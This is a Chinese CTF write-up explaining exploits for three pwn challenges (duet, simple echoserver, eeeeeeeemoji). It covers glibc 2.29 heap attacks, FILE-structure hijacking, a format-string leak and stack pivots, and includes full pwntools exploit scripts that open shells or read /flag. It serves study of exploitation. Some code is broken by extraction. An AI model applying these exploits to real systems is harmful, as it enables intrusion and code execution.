

Author: Kirin

0x01 DUET

libc-2.29 程序使用calloc分配heap, 只能同时有两个chunk, 分配大小: 0x80~0x400

程序开启了sandbox:

```
kirin@ubuntu:~/tctf$ seccomp-tools dump ./duet
```

[illegible]

===== DEUT - 琴瑟和鸣 =====

line	CODE	JT	JF	K	
0000:	0x20	0x00	0x00	0x00000004	A = arch
0001:	0x15	0x00	0x12	0xc000003e	if (A != ARCH_X86_64) goto 0020
0002:	0x20	0x00	0x00	0x00000000	A = sys_number
0003:	0x35	0x00	0x01	0x40000000	if (A < 0x40000000) goto 0005
0004:	0x15	0x00	0x0f	0xffffffff	if (A != 0xffffffff) goto 0020
0005:	0x15	0x0d	0x00	0x00000000	if (A == read) goto 0019
0006:	0x15	0x0c	0x00	0x00000001	if (A == write) goto 0019
0007:	0x15	0x0b	0x00	0x00000003	if (A == close) goto 0019
0008:	0x15	0x0a	0x00	0x00000009	if (A == mmap) goto 0019
0009:	0x15	0x09	0x00	0x0000000a	if (A == mprotect) goto 0019
0010:	0x15	0x08	0x00	0x0000000c	if (A == brk) goto 0019
0011:	0x15	0x07	0x00	0x0000000f	if (A == rt_sigreturn) goto 0019
0012:	0x15	0x06	0x00	0x0000003c	if (A == exit) goto 0019
0013:	0x15	0x05	0x00	0x000000e7	if (A == exit_group) goto 0019
0014:	0x15	0x00	0x05	0x00000002	if (A != open) goto 0020
0015:	0x20	0x00	0x00	0x0000001c	A = flags >> 32 # open(filename,
					flags, mode)
0016:	0x15	0x00	0x03	0x00000000	if (A != 0x0) goto 0020
0017:	0x20	0x00	0x00	0x00000018	A = flags # open(filename, flags,
					mode)
0018:	0x15	0x00	0x01	0x00000000	if (A != 0x0) goto 0020
0019:	0x06	0x00	0x00	0x7fff0000	return ALLOW
0020:	0x06	0x00	0x00	0x00000000	return KILL

拥有一次off-by-one的机会:

```
int __usercall magic@<eax>(__int64 a1@<rbp>, _DWORD *a2@<rdi>)
{
    char v2; // dl
    int result; // eax
    _BYTE *v4; // [rsp-10h] [rbp-10h]
    __int64 v5; // [rsp-8h] [rbp-8h]
```

```

__asm { endbr64 }
v5 = a1;
if ( *a2 != 0x13377331 )
    return puts("Amazing thing happens only once.");
*a2 = 0;
v4 = calloc(0x88uLL, 1uLL);
if ( !v4 )
    _exit(-1);
printf(&byte_5555555561EF, 1LL);
v2 = get_num((__int64)&v5);
result = (_DWORD)v4 + 0x88;
v4[0x88] = v2;
return result;
}

```

思路：

- calloc不从tcache中分配chunk，先将需要的chunk size对应的tcache bin填满，构造一个0x88字节的unsortedbin，便可以构造overlapping，这样的话布置好堆空间，就可以使得chunk A能够修改chunk B的header(此时利用unsortedbin的fd已经leak libc address)
- 而后利用largebin attack：先用chunk A修改B的header构造一个0x400大小的堆，而后free B入unsorted bin，分配0x400(chunksize=0x410)，B就会进入largebin，此时可以利用largebin的fd_nextsize/bk_nextsize来leak heap address，再次利用A修改B的bk_nextsize到 &ptr-0x20，此时再free一个largebin范围chunk进入unsortedbin，就可以在下次malloc一个小chunk过程中进行largebin attack(原理见源码)，修改ptr到一个堆地址，完成一次任意地址写heap addr
- 考虑到只有两个chunk，且calloc会置0原空间，无法通过写global_max_fast来进行fastbin attack，因为libc-2.29存在vtable check，也没办法覆写vtable
- 考虑直接覆盖掉stderr的chain，在exit调用_IO_flush_all_lockp时尝试劫持程序流(因为在libc-2.29下_IO_strfile没有了像libc-2.24下的fp->s._allocate_buffer()这类函数操作，都被修改为了标准函数(malloc...)，所以没办法直接直接像libc-2.24那样直接劫持程序流)：

因为存在vtable check，所以只能寻找__libc_IO_vtables内的函数，看到：

```

int
_IO_str_overflow (FILE *fp, int c)
{
    int flush_only = c == EOF;
    size_t pos;
    if (fp->_flags & _IO_NO_WRITES)
        return flush_only ? 0 : EOF;
    if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags &
        _IO_CURRENTLY_PUTTING))
    {
        fp->_flags |= _IO_CURRENTLY_PUTTING;
        fp->_IO_write_ptr = fp->_IO_read_ptr;
        fp->_IO_read_ptr = fp->_IO_read_end;
    }
    pos = fp->_IO_write_ptr - fp->_IO_write_base;
    if (pos >= (size_t) (_IO_blen (fp) + flush_only))

```

```

    {
        if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
        else
    {
        char *new_buf;
        char *old_buf = fp->_IO_buf_base;
        size_t old_blen = _IO_blen (fp);
        size_t new_size = 2 * old_blen + 100;
        if (new_size < old_blen)
            return EOF;
        new_buf = malloc (new_size);
        if (new_buf == NULL)
        {
            /*      __ferror(fp) = 1; */
            return EOF;
        }
        if (old_buf)
        {
            memcpy (new_buf, old_buf, old_blen);
            free (old_buf);
            /* Make sure _IO_setb won't try to delete _IO_buf_base. */
            fp->_IO_buf_base = NULL;
        }
        memset (new_buf + old_blen, '\0', new_size - old_blen);

        _IO_setb (fp, new_buf, new_buf + new_size, 1);
        fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
        fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
        fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
        fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

        fp->_IO_write_base = new_buf;
        fp->_IO_write_end = fp->_IO_buf_end;
    }
}

if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

```

这里存在malloc、memcpy、free，参数都可以控制

所以考虑在这里进行tcache attack:

在exit前布置好一条tcache bin: chunk A->ptr

构造好两个IO_FILE: X.chain -> Y.chain

这样就可以在_IO_flush_all_lockp时两次进入_IO_str_overflow，第二次的时候调用malloc就会把chunk分配到ptr，而后memcpy，即可进行任意地址写

首先考虑malloc_hook/free_hook:

修改free_hook, 第二次memcpy后free就可以劫持程序流, 但是因为存在sandbox, 只能栈迁移利用orw来获得flag, 但是此时寄存器空间没有好的gadget来栈迁移
注意到_IO_str_overflow的汇编:

```
.text:00007FFFF7E73AEB          mov     rdx, [rdi+28h]
.text:00007FFFF7E73AEF
.text:00007FFFF7E73AEF  loc_7FFFF7E73AEF:          ; CODE
XREF: _IO_str_overflow+175↓j
.text:00007FFFF7E73AEF          mov     r12, [rdi+38h]
.text:00007FFFF7E73AF3          mov     r15, [rdi+40h]
.text:00007FFFF7E73AF7          xor     eax, eax
.text:00007FFFF7E73AF9          mov     ebp, esi
.text:00007FFFF7E73AFB          mov     rbx, rdi
.text:00007FFFF7E73AFE          sub     r15, r12
.text:00007FFFF7E73B01          cmp     esi, 0FFFFFFFFh
.text:00007FFFF7E73B04          mov     rsi, rdx
.text:00007FFFF7E73B07          setz    al
.text:00007FFFF7E73B0A          sub     rsi, [rdi+20h]
.text:00007FFFF7E73B0E          add     rax, r15
.text:00007FFFF7E73B11          cmp     rax, rsi
.text:00007FFFF7E73B14          ja      loc_7FFFF7E73BF0
.text:00007FFFF7E73B1A          and     ecx, 1
.text:00007FFFF7E73B1D          jnz     loc_7FFFF7E73C50
.text:00007FFFF7E73B23          lea     r14, [r15+r15+64h]
.text:00007FFFF7E73B28          cmp     r15, r14
.text:00007FFFF7E73B2B          ja      loc_7FFFF7E73C50
.text:00007FFFF7E73B31          mov     rdi, r14
.text:00007FFFF7E73B34          call    j_malloc
```

调用malloc前rdx=(rdi+0x28), rdi=&fake_IO_FILE,此时rdx可控:

所以考虑构造三个fake_IO_FILE,第二个用来修改malloc_hook,第三个用来控制好rdx并利用libc-2.29下的setcontext劫持程序流:

```
.text:00007FFFF7E36E35          mov     rsp, [rdx+0A0h]
.text:00007FFFF7E36E3C          mov     rbx, [rdx+80h]
.text:00007FFFF7E36E43          mov     rbp, [rdx+78h]
.text:00007FFFF7E36E47          mov     r12, [rdx+48h]
.text:00007FFFF7E36E4B          mov     r13, [rdx+50h]
.text:00007FFFF7E36E4F          mov     r14, [rdx+58h]
.text:00007FFFF7E36E53          mov     r15, [rdx+60h]
.text:00007FFFF7E36E57          mov     rcx, [rdx+0A8h]
.text:00007FFFF7E36E5E          push    rcx
.text:00007FFFF7E36E5F          mov     rsi, [rdx+70h]
.text:00007FFFF7E36E63          mov     rdi, [rdx+68h]
.text:00007FFFF7E36E67          mov     rcx, [rdx+98h]
.text:00007FFFF7E36E6E          mov     r8, [rdx+28h]
.text:00007FFFF7E36E72          mov     r9, [rdx+30h]
.text:00007FFFF7E36E76          mov     rdx, [rdx+88h]
```

```
.text:00007FFFF7E36E7D  
.text:00007FFFF7E36E7F
```

```
xor     eax, eax  
retn
```

而后dockerfile中flag路径已知，ROP进行orw即可：

```
from pwn import *  
  
#context.log_level="debug"  
def instr(i):  
    if i==0:  
        p.sendlineafter("Instrument: ", "\xe7\x90\xb4")  
    else:  
        p.sendlineafter("Instrument: ", "\xe7\x91\x9f")  
def add(index,l,note):  
    p.sendlineafter(": ", "1")  
    instr(index)  
    p.sendlineafter(": ", str(l))  
    p.sendafter(": ", note.ljust(l, "\x00"))  
  
def delete(index):  
    p.sendlineafter(": ", "2")  
    instr(index)  
  
def show(index):  
    p.sendlineafter(": ", "3")  
    instr(index)  
def leak(i):  
    p.recvuntil(": ")  
    p.recv(i)  
    return u64(p.recv(8))  
def magic(l):  
    p.sendlineafter(": ", "5")  
    p.sendlineafter(": ", str(l))  
#p=process("./duet")  
p=remote("pwnable.org", 12356)  
for i in range(7):  
    add(0, 0x88, "a"*0x88)  
    delete(0)  
for i in range(7):  
    add(0, 0x400, "a"*0x400)  
    delete(0)  
for i in range(7):  
    add(0, 0x3f8, "a"*0x3f8)  
    delete(0)  
for i in range(7):  
    add(0, 0xf8, "a"*0xf8)  
    delete(0)  
for i in range(7):  
    add(0, 0x1e8, "a"*0x1e8)
```

```

        delete(0)
    for i in range(7):
        add(0,0x108,"a"*0x108)
        delete(0)
    for i in range(7):
        add(0,0x178,"a"*0x178)
        delete(0)
    add(0,0x88,"a"*0x88)
    add(1,0xf8,"1"*0xf8)
    delete(0)
    magic(0xf1)
    add(0,0x178,p64(0)*17+p64(0x21)+p64(0)*3+p64(0x21)+p64(0)*7+p64(0x91)+p64(0)*17)
    delete(1)
    add(1,0x108,"1"*0xf8+p64(0x91)+p64(0))
    show(0)
    libc=leak(0x10)-0x1e4ca0
    print hex(libc)

    delete(1)
    add(1,0x308,"a"*0x270+p64(0)+p64(0x91)+"aaaaaaa"*16+p64(0))
    delete(1)
    #delete(0)
    add(1,0x1e8,"5"*0xf8+p64(0x401)+p64(libc+0x1e4ca0)*2+p64(0)*27)
    delete(0)
    add(0,0x3f8,
        (p64(0)*29+p64(0x21)+p64(0)*3+p64(0x21)).ljust(0x170,"a")+p64(0)+p64(0x301)+p64(libc-0x7ffff7de1000+0x7ffff7fc5c30))
    delete(0)
    add(0,0x400,"")
    show(1)
    heap=leak(0x110)

    payload1=p64(0)*5+p64(heap-0x5555555626c0+0x555555562c70)+p64(heap-0x5555555626c0+0x555555562c70+334)
    payload1+=p64(0)*4+p64(heap-0x5555555626c0+0x555555562f70)+p64(0)*6+p64(heap-0x5555555626c0+0x555555562c30)+p64(0)*3+p64(1)
    payload1+=p64(0)*2+p64(libc-0x7ffff7de1000+0x7ffff7fc7620)+p64(0)*3+p64(0)+p64(1)+p64(0)
    payload1+=p64(0)+p64(0x21)+"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)
    payload1+="/flag\x00\x00\x00"
    payload1+=p64(libc+0x26542)+p64(heap-0x5555555626c0+0x555555562cb0)+p64(libc+0x026f9e)+p64(0)+p64(libc+0x47cf8)+p64(2)+p64(libc-0x7ffff7de1000+0x7ffff7eedf7f)
    payload1+=p64(libc+0x26542)+p64(3)+p64(libc+0x026f9e)+p64(heap-0x5555555626c0+0x555555563120)+p64(libc+0x012bda6)+p64(0x30)+p64(libc-0x7ffff7de1000+0x7ffff7eedf70)
    payload1+=p64(libc+0x26542)+p64(1)+p64(libc+0x026f9e)+p64(heap-0x5555555626c0+0x555555563120)+p64(libc+0x012bda6)+p64(0x30)+p64(libc-0x7ffff7de1000+0x7ffff7eee010)

```

```

payload2=p64(0)+p64(0)+p64(0)*2+p64(0)+p64(heap-
0x5555555626c0+0x555555563280)
payload2+=p64(0)+p64(heap-0x5555555626c0+0x555555563090)+p64(heap-
0x5555555626c0+0x555555563090+334)
payload2+=p64(0)*4+p64(heap-
0x5555555626c0+0x555555563120)+p64(0)*6+p64(heap-
0x5555555626c0+0x555555562c30)+p64(0)*3+p64(1)
payload2+=p64(0)*2+p64(libc-
0x7ffff7de1000+0x7ffff7fc7620)+p64(0)*3+p64(0)+p64(1)+p64(0)
payload2+=p64(0)+p64(0x21)+p64(libc-
0x7ffff7de1000+0x7ffff7e36e35)+"a"*0x10+p64(0x21)+p64(0)*3+p64(0x21)
payload2+=p64(0)*10
payload2+=p64(0)+p64(0)+p64(0)*2+p64(0)+p64(heap-
0x5555555626c0+0x555555563280-0xa0)
payload2+=p64(0)+p64(heap-0x5555555626c0+0x555555563090)+p64(heap-
0x5555555626c0+0x555555563090+334)
payload2+=p64(0)*4+p64(heap-
0x5555555626c0+0x5555555630d0)+p64(0)*6+p64(heap-
0x5555555626c0+0x555555562c30)+p64(0)*3+p64(1)
payload2+=p64(0)*2+p64(libc-
0x7ffff7de1000+0x7ffff7fc7620)+p64(0)*3+p64(0)+p64(1)+p64(0)
payload2+=p64(0)+p64(0x21)+p64(libc-
0x7ffff7de1000+0x7ffff7e642f0)+"a"*0x10+p64(0x21)+p64(0)*3+p64(0x21)
payload2+=p64(heap-0x5555555626c0+0x555555562cb0)+p64(libc+0x26542)

delete(0)
add(0,0x400,payload1)
delete(1)
add(1,0x1e8,"5"*0xf8+p64(0x401)+p64(libc-
0x7ffff7de1000+0x00007ffff7fc6090)*2+p64(heap-
0x5555555626c0+0x005555555626c0)+p64(libc-
0x7ffff7de1000+0x7ffff7fc66c8))
delete(1)
add(1,0x400,payload2)
#gdb.attach(p)
delete(0)
add(0,0x158,"7"*0x158)
print hex(heap),hex(libc)
p.sendlineafter(": ", "6")
p.interactive()

```

0x02 simple echoserver

```

kirin@ubuntu:~/tctf$ checksec ./simple_echoserver.dms
[*] '/home/kirin/tctf/simple_echoserver.dms'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled

```

保护全开，存在格式化字符串漏洞：

```
int __fastcall out_info(__int64 a1)
{
    snprintf(user_info, 0x100uLL, "[USER] name: %s; phone: %ld\n", a1, *
(_QWORD *)(a1 + 256));
    return fprintf(stderr, user_info);
}
```

但是远程将stderr关闭/重定向了，没办法输出信息

考虑修改stderr._fileno=1来进行leak

所以先要在栈中构造一个stderr._fileno的地址

breakpoint到fprintf，查看栈空间：

```
pwndbg> x/50xg $rsp
0x7fffffffddb8: 0x000055555555541a  0x0000000000000000
0x7fffffffddc8: 0x00005555555558160  0x00007fffffffdef0
0x7fffffffddd8: 0x0000555555555443  0x0000000000000000
0x7fffffffdde8: 0x0000000000000000  0x00007fffffffdef0
0x7fffffffddf8: 0x00007ffff7dcfa00  0x0000000000000d68
0x7fffffffde08: 0x00007ffff7a71148  0x00000000f705fa00
0x7fffffffde18: 0xffffffffffffffff  0x00005555555550f0
0x7fffffffde28: 0x000000000000000a  0x00007fffffffded0
0x7fffffffde38: 0x00005555555550f0  0x00007fffffffdf0
0x7fffffffde48: 0x0000000000000000  0x0000000000000000
0x7fffffffde58: 0x0000555555555348  0x00007ffff7dcfa00
0x7fffffffde68: 0x00007fffffde74  0x0000000031313131
0x7fffffffde78: 0x00007fffffdff0  0x0000000000000000
0x7fffffffde88: 0x00007ffff7a723f2  0x0000000000000036
0x7fffffffde98: 0x00005555555558174  0x00007fffffffded0
0x7fffffffdea8: 0x000055555555528d  0x00000100555556029
0x7fffffffdeb8: 0x44b366f1c56b2e00  0x0000000000000000
0x7fffffffdec8: 0x0000000000000000  0x00007fffffffdef0
0x7fffffffded8: 0x00005555555553b3  0x00007fffffffdf0
0x7fffffffdee8: 0x44b366f1c56b2e00  0x00007fffffffdf10
0x7fffffffdef8: 0x00005555555554d0  0x00007fffffffdf0
0x7fffffffdf08: 0x0000000000000000  0x00005555555554e0
0x7fffffffdf18: 0x00007ffff7a05b97  0x0000000000000001
0x7fffffffdf28: 0x00007fffffdff8  0x0000000100008000
0x7fffffffdf38: 0x00005555555554b2  0x0000000000000000
```

首先要考虑：

需要多次复用来在栈中构造stderr._fileno的地址：第一次修改一个栈地址指向一个包含stderr附近地址（这里选择stdin，ASLR开启下大部分情况stdin和stderr只相差低2字节，爆破概率1/16）的栈地址，而后第二次写0x7fffffffde60处的stdin低字节指向&stderr._fileno-1（便于直接写入1:输出0x100~0x1ff字节即可），第三次修改stderr._fileno为1，最后一次栈迁移时:这里s1位于栈，有256字节可控，全部布置为one_target（测试0x4f2c5可以），迁移栈到s1即可：


```

while ( 1 )
{
    readline_n(&s1, 256);
    if ( !strcmp(&s1, "~.") )
        break;
    printf("%s\n", &s1);
}

```

复用：

不能直接使用0x7fffffffdf38处的main，后续会因为栈的对齐问题导致栈错误(类似system的movaps)看到0x7fffffffdf0位置指向0x00007fffffffdf10: 0x000055555555554e0，只需要修改低字节就可以改到main函数

或者，看到栈空间里存在0x00005555555555f0: start

有了能复用的地址后，利用rbp进行栈迁移，但是第一次不能迁移到0x00007fffffffdf10，因为需要进行多次修改才能获得stderr._fileno的地址，如果迁移到原来位置附近，再次调用到fprintf，上一次修改好的地址就会被覆盖掉，所以第一次需要迁移到start位置，这样中间相差的位置的地址就可以留下来多次修改

最后注意一下：

- 栈迁移到含有start的位置，需要那个位置低地址第2字节和原来相同，这样只需要修改最后一字节即可，这种情况下需要1/16次爆破到可行的栈空间，成功后栈空间其实已经确定，也便于后续修改一个栈地址到保存stdin的栈位置，以及最后栈迁移到one_target位置
- 因为需要修改stdin到&stderr._fileno-1，%n能修改的最大值为0x2000，且为了保证stdin和&stderr._fileno-1高4字节都相同，选择：0x16ef

这样一共1/256的几率getshell：

```

from pwn import *

context.log_level="debug"
#name="%"+str(0xb2-0xd)+"c%43$hhn"+"%"+str(0xc8-0xb2)+"c"+"%7$hhn\n"
for i in range(200):
    try:
        name="111%7$hhn%48c%33$hhn\n"
        phone="1111\n"
        p=process("./simple_echo_server.dms")
        #p=remote("pwnable.org",12020)
        #gdb.attach(p)
        p.sendafter("name: ",name)
        p.sendafter("phone: ",phone)
        p.sendafter(" yourself!", "~.\n")
        name2="%"+str(0x38-0xd)+"c"+"%7$hhn"+"%"+str(0xb2-0x38)+"c%43$hhn"+"%"+str(5871-0xb2)+"c%93$hhn\n"
        p.recvuntil("Your name: ",timeout=0.1)
        p.send(name2)
        p.sendafter("phone: ",phone)
        p.sendafter(" yourself!", "~.\n")
        p.sendafter("name: ", "%256c%79$n%243c%7$hhn %12$p\n")
    except:
        pass

```

```

p.sendafter("phone: ", "111\n")
p.recvuntil("0x")
libc=int(p.recv(12),16)-0x7f4dd68b0a00+0x7f4dd64c5000
print hex(libc)
p.recvuntil(" yourself!\n")
p.sendline(p64(libc+0x4f2c5)*32)
#gdb.attach(p)
p.sendline("~.")
p.interactive()
except:
    p.close()
    print "fail"

```

0x03 eeeeeeeemoji

可以溢出两字节两字节shellcode

只有rdx与mmap的地址有关

且mmap:

```

int do_mmap()
{
    __int64 v0; // ST08_8
    int result; // eax

    v0 = rand() % 1000;
    dest = (wchar_t *)mmap((void *) (v0 << 12), 0x1000uLL, 7, 50, -1,
0LL);
    if ( dest == (wchar_t *)-1LL )
    {
        fputws(&off_15A0, stdout);
        abort();
    }
    result = wprintf(&format, dest);
    byte_202030 = 1;
    return result;
}

```

(rand() % 1000)<<12:地址长度较短

联想到指令xchg: 既可以赋值, 又可以清空rsp高字节

但是rdx位置没办法可控输入

可控的地方在mmap地址的起始位置:

想到使用and指令, 来使得rsp控制为需要的值, 只需要and esp,edx, 此时高地址清零, 只需要esp&edx为一个预期值即可

shellcode在退出时候:

```

.rodata:000000000000013AE          add     rsp, 8000h          ; DATA
XREF: sub_B91+1FF↑r

```

```

.rodata:00000000000013AE                                     ;
sub_DFE+1FF↑r
.rodata:00000000000013B5                                     pop     r15
.rodata:00000000000013B7                                     pop     r14                                     ; DATA
XREF: sub_B91+206↑r
.rodata:00000000000013B7                                     ;
sub_DFE+206↑r
.rodata:00000000000013B9                                     pop     r13
.rodata:00000000000013BB                                     pop     r12
.rodata:00000000000013BD                                     pop     r11
.rodata:00000000000013BF                                     pop     r10                                     ; DATA
XREF: sub_B91+215↑r
.rodata:00000000000013BF                                     ;
sub_DFE+215↑r
.rodata:00000000000013C1                                     pop     r9
.rodata:00000000000013C3                                     pop     r8
.rodata:00000000000013C5                                     pop     rbp
.rodata:00000000000013C6                                     pop     rsi
.rodata:00000000000013C7                                     pop     rdi
.rodata:00000000000013C8
.rodata:00000000000013C8 loc_13C8:                                     ; DATA
XREF: sub_B91+21C↑r
.rodata:00000000000013C8                                     ;
sub_DFE+21C↑r
.rodata:00000000000013C8                                     pop     rdx
.rodata:00000000000013C9                                     pop     rcx
.rodata:00000000000013CA                                     pop     rbx
.rodata:00000000000013CB                                     pop     rax
.rodata:00000000000013CC                                     popfq
.rodata:00000000000013CD                                     pop     rax
.rodata:00000000000013CE                                     cmp     rax, rsp                                     ; DATA
XREF: sub_B91+22B↑r
.rodata:00000000000013CE                                     ;
sub_DFE+22B↑r
.rodata:00000000000013D1                                     jnz     short near ptr
unk_13D4
.rodata:00000000000013D3                                     retn

```

所以只需要mmap一个0x8000结尾的地址，and esp,edx时edx结尾为：0x8200

当esp&edx后低地址为0x0000即可在shellcode返回时：add rsp,8000h => rsp就是mmap的起始地址，而后rop链getshell即可，这里因为编码问题，选择先用rop调用read，read一段shellcode进入mmap的空间，而后ret进入即可getshell:

```

from pwn import *

def c(s):
    return s.ljust(4, "\x00").decode('utf-32').encode('utf-8')
def func1():
    m1 = "\xf0\x9f\x90\xb4"
    p.sendlineafter("miaow\n", m1)

```

```

def mmap():
    m1="\xf0\x9f\x8d\xba"
    p.sendlineafter("miaow\n",m1)
    p.recvuntil("mmap() at @")
    return int(p.recvuntil("\n"),16)
#context.log_level="debug"
context.arch="amd64"
for i in range(1):
    try:
        p=process("./eeeeemoji")
        #p=remote("pwnable.org",31323)
        s=0
        for i in range(100):
            s=mmap()
            print hex(s)
            if bin(s).count("1")<=2 and (s&0xffff)==0x8000:
                print hex(s)
                break
        func1()
        gdb.attach(p)
        payload= c('X\xc3') +c("\xf0\x05") +'a'*14+c("sh")+c("")
        payload+=c(p32(s+6))+c("\x00")
        payload+=c("")+c("")
        payload+=c("\xf0")+c("")
        payload+=c("")*2
        payload+=c(p32(s+0x88))+c("")
        payload+=c(p32(s+0x88))+c("")
        payload+=c(p32(s+0x88))+c("")
        payload+=c(p32(s+0x88))+c("")
        payload+=c(p32(s))+c("")
        payload+=c(p32(0))+c("")
        payload+=c(p32(s+4))+c("")
        payload+="a"*(0x80-40)
        p.send(payload+c('!\xd4\x00\x00'))
        p.sendlineafter("\x00\x00",asm(shellcraft.sh()))
        p.interactive()
    except:
        print "fail"

```